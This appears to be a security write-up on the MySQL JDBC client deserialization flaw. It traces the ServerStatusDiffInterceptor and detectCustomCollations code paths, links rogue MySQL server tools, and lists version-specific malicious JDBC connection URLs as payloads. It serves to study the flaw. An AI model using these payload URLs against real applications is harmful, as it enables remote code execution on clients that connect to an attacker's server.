Mysql JDBC Attack
Introduction
When connecting to a database through JDBC, there are several steps to follow:
- Import JDBC package
- Register JDBC Driver
- Establish a connection
- Execute the Query
- Close all database resource
1 | import java.sql.*; |
When connecting to the MySQL server through JDBC, there will be several built-in SQL query statements to be executed, and the result sets of two queries will be deserialized by calling ObjectInputStream.readObject()
when the MySQL client is processed. If an attacker builds a malicious MySQL server to control the result sets of these two queries, and the attacker can control the JDBC connection settings, then the MySQL JDBC client deserialization vulnerability can be triggered.
Code Analysing
ServerStatusDiffInterceptor
When we set a queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
in the JDBC connection URL, it will call the interceptor’s preProcess
and postProcess
methods automatically.
Following the populateMapWithSessionStatusValues
, we can find we execute a query: SHOW SESSION STATUS
Following the resultSetToMap
, we can find we call the getObject
In ResultMapImpl#getObject
, we deserialize a object.
So if we can control the mysql server return a evil data stream we can RCE in the client side.
detectCustomCollations
If this option is set to “true”, the driver will obtain the actual character set/sorting rules from the server every time a connection is established.
But it has a strict version limitation.
EXP
Tools
https://github.com/rmb122/rogue_mysql_server
https://github.com/fnmsd/MySQL_Fake_Server
Payloads
ServerStatusDiffInterceptor
8.x <= 8.0.20
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
6.x
queryInterceptors
=>statementInterceptors
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
>= 5.1.11
without
cj
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.x <= 5.1.10
Same as the last one, but need a additional query after connection
detectCustomCollations
5.1.29~5.1.40
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.19~5.1.28
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true